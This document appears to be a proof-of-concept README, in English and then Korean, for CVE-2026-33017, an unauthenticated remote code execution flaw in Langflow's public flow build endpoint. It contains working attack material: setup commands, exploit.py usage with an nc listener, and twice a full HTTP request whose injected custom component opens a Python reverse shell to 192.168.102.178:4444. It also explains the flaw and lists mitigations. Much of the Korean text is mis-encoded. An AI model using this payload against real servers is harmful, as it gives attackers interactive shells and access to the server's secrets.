## https://sploitus.com/exploit?id=3048ED1B-ADF5-5FDA-A940-020DC324501C
# CVE-2026-33017 Langflow RCE
β
CVE-2026-33017 Langflow Remote Code Execution PoC β
https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7
## Environment Setup
Use the following commands to build and run the vulnerable Langflow environment:
```bash
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln
```
## How to Use the PoC
After starting the vulnerable Langflow instance, run the PoC with the target URL, the Public flow ID, and the attacker callback address.
Option A β use your own listener:
```bash
# Terminal 1: start a listener
nc -lvnp 4444
# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost --lport 4444
```
Option B β use the built-in listener with `--listen`:
```bash
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost --lport 4444 --listen
```
| Option | Description |
|---|---|
| `--url` | Target Langflow server URL |
| `--flow-id` | UUID of the shared Public flow |
| `--lhost` | Attacker callback IP |
| `--lport` | Attacker callback port |
| `--listen` | Run the built-in listener instead of an external `nc` |
# ENG
> **CVE-2026-33017** is a **Remote Code Execution (RCE)** vulnerability in the Public flow build process of **Langflow**, an open-source platform for visually building LLM applications and AI workflows.
> By sending crafted flow data to the `build_public_tmp` endpoint without authentication, an attacker can cause **arbitrary Python code to be executed on the server**.
## Overview
**CVE-2026-33017** affects the following Public flow build endpoint in **Langflow**, an open-source platform for visually creating LLM applications and AI workflows.
```http
POST /api/v1/build_public_tmp/{flow_id}/flow
```
A **Public flow** in Langflow is designed to be shared with other users through a link or similar mechanism.
To support this feature, the build endpoint prepares the flow for execution without requiring authentication by reading the flow's nodes, edges, and settings, then constructing the internal execution graph needed to run it.
The issue was that vulnerable versions of `build_public_tmp` accepted not only the stored Public flow information on the server, but also the **`data` field supplied in the request body**.
This `data` field could contain the entire flow definition, including:
- the list of nodes
- the connections between nodes
- detailed configuration values for each node
- **templates and custom component data required for execution**
As a result, an attacker could use an unauthenticated request to inject an entirely attacker-controlled flow structure instead of relying on the legitimate Public flow stored on the server.
A particularly dangerous part of this design is the **Custom Component** feature.
In Langflow, a component represents an individual functional block responsible for tasks such as input handling, model invocation, or output generation. A custom component is an extensible block that allows users to define its behavior directly in **Python code**.
An attacker could therefore embed a custom component containing **malicious Python code** inside the crafted `data` object, and the server would process it as if it were a normal part of the flow. As a result, the injected code could be parsed and executed during the build or execution process, ultimately leading to **remote code execution**.
## Affected Versions
| Category | Version |
|---|---|
| **Vulnerable** | Langflow **prior to 1.9.0** |
| **Patched** | Langflow **1.9.0 and later** |
> The GitHub Security Advisory lists the affected range as `
## Impact
Successful exploitation of this vulnerability may allow an attacker to take control of the Langflow server and carry out follow-on actions such as:
- obtaining a shell on the server
- exfiltrating environment variables or other sensitive information
- installing additional malicious code and establishing persistence
## Proof of Concept
> The following PoC demonstrates **CVE-2026-33017** on **Langflow 1.8.1**.
### 1) Identify the Public Flow ID
The attacker first identifies the **`flow_id`** of a target Public flow.

### 2) Send a Build Request with a Malicious Custom Component
The attacker sends a `build_public_tmp` request that injects a **custom component** whose Python `code` is executed on the server during the temporary build. In the request below, the `code` value is left as a placeholder β insert the payload yourself (see the note under the request).
```http
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
```
### 3) Gain a Shell
During the build process, the code embedded in the custom component is executed on the server. When the reverse shell variant (automated by `exploit.py`) is used, a connection is established back to the attacker's listener, giving the attacker an interactive shell to run arbitrary commands on the server.

## Technical Analysis
Although `build_public_tmp` was intended to build **Public flows**, vulnerable versions still accepted a **`data` field directly from the request body**.
Because of this design, attacker-supplied `data` was passed directly into the server-side build logic, and any **Python code embedded in a custom component** was handled as though it were part of a legitimate flow.
As a result, an attacker did not need to rely on the original Public flow stored on the server. Instead, they could inject an entirely malicious flow definition of their own, including code that could be executed on the server.
After the patch, `build_public_tmp` no longer accepts externally supplied `data`.
In other words, the path that previously allowed attackers to inject an entire flow definition through the request body was removed, which also prevented arbitrary code execution through malicious custom components.

## Mitigation
- update to **Langflow 1.9.0 or later**
- remove unnecessary exposure of Public flows
- restrict direct external access to Langflow instances
## References
- **GitHub Security Advisory**: [GHSA-vwmf-pq79-vjvx](https://github.com/advisories/GHSA-vwmf-pq79-vjvx)
- **NVD**: [CVE-2026-33017](https://nvd.nist.gov/vuln/detail/CVE-2026-33017#range-21198362)
- **Patch Commit**: [`73b6612e3ef25fdae0a752d75b0fabd47328d4f0`](https://github.com/langflow-ai/langflow/commit/73b6612e3ef25fdae0a752d75b0fabd47328d4f0#diff-44baaabf1ab87d4713c828053d97a7f9f5dc8d1ab9c2f8d05c1a0bcdc43e999c)
# Analysis
- KR: https://www.skshieldus.com/report/eqstInsight/rt2607.html
- EN:
---
# KOR
> **CVE-2026-33017**μ μ€νμμ€ AI μν¬νλ‘μ° νλ«νΌ **Langflow**μ Public νλ‘μ° λΉλ κ³Όμ μμ λ°μνλ **μ격 μ½λ μ€ν(Remote Code Execution, RCE)** μ·¨μ½μ μ΄λ€.
> 곡격μλ μΈμ¦ μμ΄ `build_public_tmp` μλν¬μΈνΈμ μ‘°μλ νλ‘μ° λ°μ΄ν°λ₯Ό μ λ¬ν¨μΌλ‘μ¨, μλ² μΈ‘μμ **μμ Python μ½λ μ€ν**μ μ λν μ μλ€.
## Overview
**CVE-2026-33017**μ LLM μ ν리μΌμ΄μ
κ³Ό AI μν¬νλ‘μ°λ₯Ό μκ°μ μΌλ‘ ꡬμ±ν μ μλ μ€νμμ€ νλ«νΌ **Langflow**μ Public νλ‘μ° λΉλ μλν¬μΈνΈμΈ μλ APIμμ λ°μνλ€.
```http
POST /api/v1/build_public_tmp/{flow_id}/flow
```
Langflowμ **Public νλ‘μ°**λ λ€λ₯Έ μ¬μ©μκ° λ§ν¬ λ±μ ν΅ν΄ λΆλ¬μ μ¬μ©ν μ μλλ‘ μΈλΆμ 곡κ°λλ νλ‘μ°μ΄λ€.
μ΄ κΈ°λ₯μ μΈμ¦ μμ΄λ ν΄λΉ νλ‘μ°λ₯Ό μ€ν κ°λ₯ν μνλ‘ μ€λΉν μ μλλ‘ μ€κ³λμ΄ μμΌλ©°, λΉλ μλν¬μΈνΈλ νλ‘μ°λ₯Ό ꡬμ±νλ λ
Έλ, μ°κ²° κ΄κ³, μ€μ κ° λ±μ λ°νμΌλ‘ λ΄λΆ μ€ν κ·Έλνλ₯Ό μμ±νκ³ κ° λΈλ‘μ΄ μ€μ λ‘ λμν μ μλλ‘ μ€λΉνλ μν μ μννλ€.
λ¬Έμ λ μ·¨μ½ν λ²μ μ `build_public_tmp` μλν¬μΈνΈκ° μμ² λ°λμ ν¬ν¨λ **`data` κ°λ ν¨κ» λ°μλ€μλ€**λ μ μ΄λ€.
μ΄ `data`μλ λ€μκ³Ό κ°μ νλ‘μ° μ 체 μ μκ° ν¬ν¨λ μ μλ€.
- λ
Έλ λͺ©λ‘
- λ
Έλ κ° μ°κ²° κ΄κ³
- κ° λ
Έλμ μΈλΆ μ€μ κ°
- **μ€νμ νμν ν
νλ¦Ώ λ° μ»€μ€ν
μ»΄ν¬λνΈ μ 보**
μ¦, 곡격μλ μΈμ¦ μλ μμ²μΌλ‘ **μλ²μ μ μ₯λ μ μ νλ‘μ° λμ μμ μ΄ μ‘°μν νλ‘μ° κ΅¬μ‘° μ 체λ₯Ό μ£Όμ
**ν μ μμλ€.
μ΄ κ³Όμ μμ νΉν μνν μμλ **컀μ€ν
μ»΄ν¬λνΈ(Custom Component)** μ΄λ€.
Langflowμμ μ»΄ν¬λνΈλ μ
λ ₯ μ²λ¦¬, λͺ¨λΈ νΈμΆ, μΆλ ₯ μμ± λ± κ°λ³ κΈ°λ₯μ λ΄λΉνλ λΈλ‘μ΄λ©°, 컀μ€ν
μ»΄ν¬λνΈλ μ¬μ©μκ° **Python μ½λλ‘ μ§μ μ μν μ μλ νμ₯ν λΈλ‘**μ΄λ€.
곡격μλ μ‘°μν `data` λ΄λΆμ **μ
μ± Python μ½λκ° ν¬ν¨λ 컀μ€ν
μ»΄ν¬λνΈ**λ₯Ό μ½μ
ν μ μμκ³ , μλ²λ μ΄λ₯Ό μ μμ μΈ νλ‘μ° κ΅¬μ± μμμ²λΌ μ²λ¦¬νλ€. κ·Έ κ²°κ³Ό, ν΄λΉ μ½λκ° λΉλ/μ€ν νλ¦μμ μ€μ λ‘ ν΄μΒ·μ€νλλ©° **μ격 μ½λ μ€ν**μ΄ κ°λ₯ν΄μ‘λ€.
## Affected Versions
| κ΅¬λΆ | λ²μ |
|---|---|
| **μ·¨μ½ λ²μ ** | Langflow **1.9.0 λ―Έλ§** |
| **ν¨μΉ λ²μ ** | Langflow **1.9.0 μ΄μ** |
> GitHub Security Advisoryλ μν₯ λ²μλ₯Ό `
## Impact
μ΄ μ·¨μ½μ μ ν΅ν΄ 곡격μλ Langflow μλ²λ₯Ό μ μ΄ν λ€ μΆκ° νμλ₯Ό μνν μ μλ€. λνμ μΈ μν₯μ λ€μκ³Ό κ°λ€.
- μλ² μ
Έ νλ
- νκ²½ λ³μ λ° λΉλ°μ 보 μ μΆ
- μΆκ° μ
μ± μ½λ μ€μΉ λ° μ§μμ± ν보
## Proof of Concept
> μλ PoCλ **Langflow 1.8.1** νκ²½μμ **CVE-2026-33017**μ μ¬ννλ μμμ΄λ€.
### 1) Public νλ‘μ° ID νμΈ
곡격μλ 곡격 λμμ΄ λλ **Public νλ‘μ°μ `flow_id`** λ₯Ό λ¨Όμ νμ
νλ€.

### 2) μ
μ± μ»€μ€ν
μ»΄ν¬λνΈ λΉλ μμ²
곡격μλ 컀μ€ν
μ»΄ν¬λνΈμ Python `code`κ° μμ λΉλ κ³Όμ μμ μλ²μμ μ€νλλλ‘ μ‘°μν `build_public_tmp` μμ²μ μ μ‘νλ€. μλ μμ²μ `code` κ°μ μ리νμμλ‘ λΉμ λμμΌλ©°, νμ΄λ‘λλ μ§μ μ±μ λ£μ΄μΌ νλ€(μμ² μλ μλ΄ μ°Έκ³ ).
```http
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
```
### 3) μ νμ·¨
λΉλ κ³Όμ μμ 컀μ€ν
μ»΄ν¬λνΈμ ν¬ν¨λ μ½λκ° μλ²μμ μ€νλλ€. `exploit.py`κ° μλννλ 리λ²μ€ μ
Έ λ°©μμ μ¬μ©νλ©΄ 곡격μ μΈ‘ 리μ€λλ‘ μ°κ²°μ΄ μ립λμ΄, 곡격μλ μλ² μμμ μμ λͺ
λ Ήμ μ€νν μ μλ λνν μ
Έμ νλνλ€.

## Technical Analysis
μ·¨μ½ λ²μ μ `build_public_tmp` μλν¬μΈνΈλ **Public νλ‘μ°λ₯Ό μν λΉλ API** μμλ λΆκ΅¬νκ³ , μμ² λ³Έλ¬Έμμ **`data` κ°μ μ§μ λ°μ μ μμλ€**.
μ΄ μ€κ³ λλ¬Έμ 곡격μκ° μ λ¬ν `data`λ μλ² μΈ‘ λΉλ λ‘μ§μ κ·Έλλ‘ λ°μλμκ³ , κ·Έ λ΄λΆμ ν¬ν¨λ **컀μ€ν
μ»΄ν¬λνΈμ Python μ½λ** μμ μ μ νλ‘μ° κ΅¬μ± μμμ²λΌ μ²λ¦¬λμλ€.
κ²°κ³Όμ μΌλ‘ 곡격μλ μλ²μ μ μ₯λ μλμ Public νλ‘μ°λ₯Ό λ°λ₯΄μ§ μκ³ , **μμ μ΄ λ§λ μ
μ± νλ‘μ° μ μλ₯Ό κ·Έλλ‘ μ£Όμ
**ν μ μμμΌλ©°, μ΄ μμ ν¬ν¨λ μ
μ± μ½λκ° μλ²μμ μ€νλ μ μμλ€.
ν¨μΉ μ΄νμλ `build_public_tmp`μμ λ μ΄μ μΈλΆ μμ²μΌλ‘λΆν° `data`λ₯Ό λ°μ§ μλλ‘ μμ λμλ€.
μ¦, 곡격μκ° μμ² λ°λλ₯Ό ν΅ν΄ **νλ‘μ° μ μ μ체λ₯Ό μ£Όμ
νλ κ²½λ‘κ° μ°¨λ¨**λμκ³ , μ΄λ‘ μΈν΄ 컀μ€ν
μ»΄ν¬λνΈλ₯Ό ν΅ν μμ μ½λ μ€ν λν λΆκ°λ₯ν΄μ‘λ€.

## Mitigation
- **Langflow 1.9.0 μ΄μμΌλ‘ μ
λ°μ΄νΈ**
- λΆνμν Public νλ‘μ° λ
ΈμΆ μ κ±°
- Langflow μΈμ€ν΄μ€λ₯Ό μΈλΆμ μ§μ λ
ΈμΆνμ§ μλλ‘ λ€νΈμν¬ μ ν
## References
- **GitHub Security Advisory**: [GHSA-vwmf-pq79-vjvx](https://github.com/advisories/GHSA-vwmf-pq79-vjvx)
- **NVD**: [CVE-2026-33017](https://nvd.nist.gov/vuln/detail/CVE-2026-33017#range-21198362)
- **Patch Commit**: [`73b6612e3ef25fdae0a752d75b0fabd47328d4f0`](https://github.com/langflow-ai/langflow/commit/73b6612e3ef25fdae0a752d75b0fabd47328d4f0#diff-44baaabf1ab87d4713c828053d97a7f9f5dc8d1ab9c2f8d05c1a0bcdc43e999c)
## Analysis
- KR: https://www.skshieldus.com/report/eqstInsight/rt2607.html
- EN: